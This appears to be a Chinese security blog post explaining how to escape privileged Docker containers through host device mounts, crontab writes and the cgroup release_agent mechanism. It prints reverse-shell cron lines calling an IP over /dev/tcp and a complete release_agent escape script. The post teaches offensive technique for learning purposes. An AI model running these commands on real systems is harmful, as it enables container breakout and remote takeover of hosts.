特权容器逃逸

本文探讨了Docker容器在特权模式与普通模式下的区别,分析了不同模式下的攻击面,包括cgroup、内核文件、敏感目录等,并详细介绍了三种具体的逃逸方法:利用/dev目录、crontab及notify_on_release机制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

前言

特权模式与普通模式区别

攻击面

/dev可写利用方法

crontab可写利用方法

notify_on_release与cgroup利用方法

参考


前言

当我们容器以--privileged启动时,会以特权模式启用,本质上是我们权限扩大了,扩展了我们攻击面,那么特权模式扩展了哪些攻击面呢?

特权模式与普通模式区别

区别攻击面解释
cgroup将可以对 cgroup 进行读写操作
内核文件内核文件系统将不再以只读的方式被挂载
敏感名录敏感目录将不再以 tmpfs 文件系统的方式挂载
SELinuxSELinux 相关的安全加固配置将被禁用
/dev容器内的 /dev 目录会包含这些来自节点 /dev 目录下的那些内容
AppArmor和SeccompAppArmor 或 Seccomp 相关配置将不再生效

攻击面

对于上述我们所讲的扩大了攻击面的情况,可以有如下攻击场景,以下仅仅列举常用既每个系统携带的场景,可基于上述攻击面挖掘更多场景,例如劫持so等等。因为可以看到,其中一种攻击面是/dev会包含主机设备,我们可以通过挂载该节点设备后访问主机文件,下面两种都是通过mount来完成攻击

/dev可见,既我们可以对主机设备可见

本质上就是mount我们的可见设备后,利用宿主机可写等条件,直接获取宿主机权限。

演示

主机设备如下所示

启动特权容器后 

非特权模式

crontab可写利用方法

利用方法

1.crontab -e输入反弹shell命令或直接写入到/var/spool/cron中

使用crontab创建一个任务,创建一个反弹SHELL,其中*代表每一分钟执行一次

crontab -e 会打开编辑器,之后输入下列命令即可完成反弹SHELL

这样执行以后,属于用户自定义的,会被写到 /var/spool/cron 目录下,生成一个和用户名一致的文件,文件内容就是我们编辑的定时脚本

Centos

* * * * * bash -i >& /dev/tcp/IP/PORT 0>&1

ubuntu

* * * * * bash -c "bash -i >& /dev/tcp/192.168.20.200/7777 0>&1"

我们可以看到,其实本质还是利用文件写功能,写入到了/var/spool/cron/crontabs/root文件中

实验一下,使用vim打开root直接写入,查看crontab也可以看到存在

notify_on_release与cgroup利用方法

cgroup逃逸方式本质是利用了notify_on_release机制,劫持release_agent文件,然后通过notify_on_release机制,完成执行shellcode功能,其利用方法如下

# 容器内挂载宿主机cgroup,自定义一个cgroup,/tmp/cgrp/x 
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x 

# 设置/tmp/cgrp/x的cgroup的notify_no_release和release_agent 
#  设置/tmp/cgrp/x的notify_no_release属性设置为1,通过sed匹配出/etc/mtab中uperdir=的路径,然后将路径+cmd写入/tmp/cgrp/release_agent 
echo 1 > /tmp/cgrp/x/notify_on_release 
host_path=`sed -n 's/.*\uperdir=\([^,]*\).*/\1/p' /etc/mtab` 
echo "$host_path/cmd" > /tmp/cgrp/release_agent 


# 写入自定义命令 
echo '#!/bin/sh' > /cmd 

# 结果在当前目录的output文件中 
echo "ps aux > $host_path/output" >> /cmd 
chmod a+x /cmd 

# 执行完sh -c之后,sh进程自动退出,cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行,达到了容器逃逸的效果 
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

参考

浅析docker的多种逃逸方法 - 腾讯云开发者社区-腾讯云 (tencent.com)

底层原理 | Linux计划任务反弹shell探究 - 墨天轮

https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-capabilities.md#cap_linux_immutable

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

信安成长日记

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值